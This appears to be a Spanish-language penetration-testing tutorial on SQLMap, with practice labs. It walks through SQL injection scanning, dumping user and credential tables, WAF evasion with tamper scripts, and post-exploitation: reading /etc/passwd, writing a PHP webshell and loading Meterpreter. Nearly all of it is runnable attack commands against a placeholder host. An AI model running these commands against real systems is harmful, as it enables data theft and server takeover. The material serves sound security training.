Saltar al contenido principal

SQLMap

Exploitation1.8.xRed Team

Automatiza la detección y explotación de inyecciones SQL en bases de datos. Soporta MySQL, PostgreSQL, Oracle, MSSQL, SQLite y más, con técnicas de bypass de WAF y extracción de datos.

Fase 1 — Requisitos y primer escaneo

Instalar SQLMap y ejecutar un escaneo básico sobre una URL

SQLMap viene preinstalado en Kali Linux y se instala fácilmente en cualquier sistema con Python 3. El escaneo básico detecta el tipo de base de datos, el motor subyacente y si la URL es vulnerable a inyección SQL.

Uso básico — probar una URL con un parámetro:

sqlmap -u "http://target.com/page?id=1" --batch

El flag --batch hace que SQLMap use las respuestas por defecto (sin intervención interactiva), ideal para escaneos rápidos o automatizados.

Qué detecta automáticamente:

  • Tipo de inyección (boolean-based, time-based, error-based, UNION-based)
  • Motor de base de datos subyacente (MySQL, PostgreSQL, etc.)
  • Nivel de privilegios del usuario de BD conectado
bash
# Instalar en sistemas no-Kali
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py --help

# Escaneo básico con detección automática
sqlmap -u "http://target.com/page?id=1" --batch

# Escaneo con más verbosidad (nivel 3 = más tests)
sqlmap -u "http://target.com/page?id=1" --batch --level=3 --risk=2

# Probar una URL con cookie de sesión autenticada
sqlmap -u "http://target.com/api/user?id=1" \
  --cookie="session=abc123" --batch

💡Si la URL usa POST en vez de GET, usa --data="param=value" para inyectar en el body. SQLMap detecta automáticamente el método HTTP.

Fase 2 — Tipos de inyección y técnicas

Entender las 4 familias principales de inyección SQL

SQLMap prueba automáticamente múltiples técnicas. Conocerlas te permite entender qué está haciendo y cómo evadir firewalls cuando sea necesario.

Las 4 familias principales:

1. Boolean-based blind — La app devuelve diferente contenido si la condición es verdadera o falsa, sin errores visibles. SQLMap compara respuestas byte a byte.

2. Time-based blind — No hay diferencia visible entre true/false. SQLMap inyecta SLEEP() o WAITFOR DELAY y mide el tiempo de respuesta.

3. Error-based — El servidor devuelve mensajes de error que contienen datos de la BD. SQLMap extrae datos directamente de los errores.

4. UNION-based — SQLMap descubre cuántas columnas tiene la consulta original y usa UNION SELECT para exfiltrar datos directamente.

bash
# Forzar una técnica específica
sqlmap -u "http://target.com/page?id=1" --technique=BEU

# B: Boolean-based blind
# E: Error-based
# U: UNION query
# S: Stacked queries
# T: Time-based blind
# Q: Inline queries

# Forzar UNION-based con --columns para descubrir esquema
sqlmap -u "http://target.com/page?id=1" \
  --technique=U --union-cols=5 --dump

# Time-based con mayor precisión (2x más lento pero más confiable)
sqlmap -u "http://target.com/page?id=1" \
  --technique=T --time-sec=5 --batch

💡Si un WAF bloquea las peticiones, usa --tamper=space2comment para reemplazar espacios por comentarios SQL, o encadena múltiples tamper scripts: --tamper=space2comment,between,randomcase.

Fase 3 — Extracción de datos (DUMP)

Enumerar bases de datos, tablas y extraer registros completos

Una vez confirmada la vulnerabilidad, SQLMap puede mapear toda la estructura de la base de datos y extraer cualquier tabla que necesites. El proceso sigue una jerarquía: --dbs--tables--dump.

Extracción paso a paso:

  1. Descubrir todas las bases de datos: --dbs
  2. Seleccionar una BD y listar tablas: -D nombre_bd --tables
  3. Volcar tablas específicas: -D nombre_bd -T tabla --dump
  4. Volcar toda la BD: --dump-all (¡cuidado en producción!)
bash
# Paso 1: Enumerar bases de datos
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Paso 2: Listar tablas de una base de datos
sqlmap -u "http://target.com/page?id=1" -D wordpress --tables --batch

# Paso 3: Volcar una tabla específica
sqlmap -u "http://target.com/page?id=1" \
  -D wordpress -T wp_users --dump \
  --columns="user_login,user_pass,user_email" --batch

# Paso 4: Volcar solo contraseñas (columna específica)
sqlmap -u "http://target.com/page?id=1" \
  -D wordpress -T wp_users -C user_login,user_pass --dump

# Paso 5: Volcar toda la BD (usar con precaución)
sqlmap -u "http://target.com/page?id=1" --dump-all --batch

💡Si la tabla tiene muchos registros, usa --start=1 --stop=100 para volcar por lotes. Usa --where="user_role='admin'" para filtrar solo registros específicos.

Fase 4 — Bypass de WAF y ofuscación

Evadir Web Application Firewalls con técnicas de evasión

Los WAF modernos detectan patrones de SQLi en las peticiones. SQLMap ofrece múltiples mecanismos de bypass que ofuscan las sentencias SQL para evadir la detección, desde comentarios inline hasta encoding personalizado.

Tamper scripts más útiles:

  • space2comment — Reemplaza espacios por /**/
  • between — Cambia > por NOT 1/ y = por BETWEEN 0 AND 1
  • charencode — Codifica cada carácter en URL encoding
  • randomcase — Mezcla mayúsculas/minúsculas en keywords SQL
  • equaltolike — Cambia = por LIKE
bash
# Un solo tamper
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment --batch

# Múltiples tamper scripts encadenados
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase \
  --batch --level=3 --risk=2

# Ofuscación manual completa (encapsular con comentaros)
sqlmap -u "http://target.com/page?id=1" \
  --prefix="'UNION/**/SELECT/**/" \
  --suffix="/**/FROM/**/users/**/WHERE/**/1=1--" \
  --batch

# Evadir con request personalizado
sqlmap -u "http://target.com/page?id=1" \
  --headers="X-Forwarded-For: 127.0.0.1\nX-Custom-Header: test" \
  --random-agent --batch

💡Combina --random-agent (User-Agent aleatorio) con tamper scripts para máxima evasión. Si el WAF usa ML, prueba --delay=1 entre peticiones para evitar rate limiting.

Fase 5 — Post-explotación y shell

Obtener acceso al sistema operativo a través de la BD

Si la base de datos corre con privilegios elevados (como root o DBA), SQLMap puede escribir archivos en el servidor, ejecutar comandos del sistema operativo o crear una reverse shell. Esto convierte una SQLi en una comprometida completa del servidor.

Tres caminos de post-explotación:

  • --os-shell — Ejecuta comandos del SO directamente (requiere MySQL UDF o similar)
  • --os-pwn — Carga Meterpreter a través de la BD (MSF integration)
  • --file-write / --file-read — Lee o escribe archivos arbitrarios en el servidor
bash
# Obtener shell del sistema operativo
sqlmap -u "http://target.com/page?id=1" \
  --os-shell --batch

# Leer archivos del servidor (ej: /etc/passwd)
sqlmap -u "http://target.com/page?id=1" \
  --file-read="/etc/passwd" --batch

# Escribir un webshell en el directorio web
sqlmap -u "http://target.com/page?id=1" \
  --file-write="./shell.php" \
  --file-dest="/var/www/html/shell.php" --batch

# Meterpreter vía base de datos (requiere Metasploit corriendo)
sqlmap -u "http://target.com/page?id=1" \
  --os-pwn --msf-path=/usr/share/metasploit-framework --batch

💡Los comandos --os-shell solo funcionan si la BD tiene privilegios de escritura en disco y extensiones habilitadas (como UDF en MySQL). Si falla, prueba --file-write para subir un webshell manualmente.

Fase 6 — Automatización y reports

Usar archivos de configuración para escaneos reproducibles

Para auditorías recurrentes o pruebas de penetración con múltiples targets, SQLMap soporta archivos INI de configuración que almacenan todos los parámetros de un escaneo. Esto permite repetir exactamente la misma prueba en diferentes entornos o versiones de la aplicación.

Flujo recomendado de trabajo:

  1. Crear un archivo de configuración por target
  2. Ejecutar el escaneo con -c config.ini
  3. Revisar el reporte generado automáticamente
  4. Exportar resultados en múltiples formatos
bash
# Crear archivo de configuración
cat > target_config.ini << EOF
[Target]
url = http://target.com/page?id=1
cookie = session=abc123

[Settings]
batch = True
level = 3
risk = 2
tamper = space2comment,between

[Output]
output-dir = ./sqlmap_results/
forms = True
EOF

# Ejecutar con configuración
sqlmap -c target_config.ini --dump-all

# Generar reporte en CSV
sqlmap -u "http://target.com/page?id=1" \
  --batch --forms --crawl=2 \
  --output-dir=./reports/ \
  --dump-format=CSV

# Reanudar un escaneo anterior (usa la sesión guardada)
sqlmap -u "http://target.com/page?id=1" \
  --session=./sqlmap_session.sqlite --batch

💡Siempre guarda la sesión (--session) para auditorías largas. SQLMap almacena todos los hallazgos y puedes reanudar desde donde lo dejaste sin repetir el escaneo completo.

Labs Prácticos

Básico 20 min

Lab 1: SQLi básica en login bypass

Objetivo

Detectar y explotar una inyección SQL en un campo de login para obtener acceso sin credenciales válidas.

Escenario

Una aplicación web tiene un formulario de login vulnerable a inyección SQL. El parámetro "username" no sanitiza correctamente las comillas simples. Usarás SQLMap para automatizar la detección y el bypass.

Pasos

1

Identificar el formulario de login y capturar la petición POST con Burp o curl

2

Crear un archivo request.txt con la petición POST completa

3

Ejecutar SQLMap apuntando al archivo de petición

4

Confirmar la inyección y extraer las credenciales del admin

bash — práctica
# PASO 1: Capturar la petición POST desde el navegador
# Copiar la petición completa incluyendo headers y body
# Guardarla en login_request.txt

# PASO 2: Ejecutar SQLMap con el archivo de petición
sqlmap -r login_request.txt -p username --batch

# PASO 3: Verificar tipo de inyección detectada
sqlmap -r login_request.txt -p username --batch --banner

# PASO 4: Volcar la tabla de usuarios
sqlmap -r login_request.txt -p username \
  -D webapp_db -T users --dump --batch

# PASO 5: Bypass directo del login
sqlmap -r login_request.txt -p username \
  --sql-query="SELECT password FROM users WHERE username='admin'" \
  --batch

Resultado esperado

SQLMap detectará una inyección de tipo error-based o boolean-based en el parámetro "username". Podrás extraer las credenciales de la tabla users y acceder al panel de admin.

Intermedio 35 min

Lab 2: Extracción de datos con WAF básico

Objetivo

Superar un WAF básico que filtra palabras clave SQL usando técnicas de tamper scripting y extraer datos sensibles.

Escenario

Un sitio web tiene un parámetro de URL vulnerable a SQLi, pero un WAF bloquea peticiones que contienen palabras como UNION, SELECT, FROM. Necesitarás usar técnicas de bypass para extraer los datos.

Pasos

1

Confirmar que el WAF bloquea peticiones con keywords SQL

2

Ejecutar SQLMap con tamper scripts para evadir el filtro

3

Enumerar bases de datos y tablas disponibles

4

Volcar la tabla de datos sensibles (tokens, API keys, etc.)

bash — práctica
# PASO 1: Verificar que el WAF bloquea peticiones normales
# sqlmap -u "http://target.com/product?id=1" --batch
# Resultado esperado: 403 Forbidden o página de bloqueo

# PASO 2: Usar tamper scripts para evadir
sqlmap -u "http://target.com/product?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --batch

# PASO 3: Si el WAF bloquea UNION, usar técnica time-based
sqlmap -u "http://target.com/product?id=1" \
  --technique=T --tamper=space2comment \
  --random-agent --batch --level=3

# PASO 4: Enumerar tablas una vez dentro
sqlmap -u "http://target.com/product?id=1" \
  --tamper=space2comment --random-agent \
  -D shop_db --tables --batch

# PASO 5: Volcar tabla de credenciales
sqlmap -u "http://target.com/product?id=1" \
  --tamper=space2comment --random-agent \
  -D shop_db -T admin_tokens --dump --batch

Resultado esperado

Los tamper scripts evadirán el filtro básico del WAF. SQLMap extraerá la estructura completa de la base de datos y volcará la tabla de tokens sensibles. El WAF no bloqueará las peticiones ofuscadas.

Avanzado 45 min

Lab 3: Post-explotación con lectura de archivos

Objetivo

Explotar una SQLi para leer archivos del servidor del sistema operativo y evaluar el impacto completo de la vulnerabilidad.

Escenario

Una aplicación web ejecuta consultas SQL con privilegios de usuario root en MySQL. Existe una inyección SQL en el parámetro de búsqueda. El objetivo es demostrar el impacto máximo leyendo archivos sensibles del servidor.

Pasos

1

Confirmar que la BD tiene privilegios elevados (FILE privilege)

2

Verificar que secure_file_priv no restringe escritura/lectura

3

Leer archivos del sistema (/etc/passwd, config de la app)

4

Demostrar impacto escribiendo un archivo de prueba

bash — práctica
# PASO 1: Verificar privilegios del usuario de BD
sqlmap -u "http://target.com/search?q=test" \
  --privileges --batch

# PASO 2: Verificar secure_file_priv
sqlmap -u "http://target.com/search?q=test" \
  --sql-query="SHOW VARIABLES LIKE 'secure_file_priv'" --batch

# PASO 3: Leer /etc/passwd
sqlmap -u "http://target.com/search?q=test" \
  --file-read="/etc/passwd" --batch

# PASO 4: Leer archivo de configuración de la app
sqlmap -u "http://target.com/search?q=test" \
  --file-read="/var/www/html/config.php" --batch

# PASO 5: Escribir archivo de prueba (verificar permisos de escritura)
echo "<?php echo 'test'; ?>" > test_write.php
sqlmap -u "http://target.com/search?q=test" \
  --file-write="./test_write.php" \
  --file-dest="/var/www/html/test_write.php" --batch

Resultado esperado

SQLMap confirmará que el usuario de BD tiene privilegios FILE y READ. Podrás leer archivos del sistema y verificar que la aplicación es vulnerable a escritura arbitraria, demostrando un impacto de criticidad alta.

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.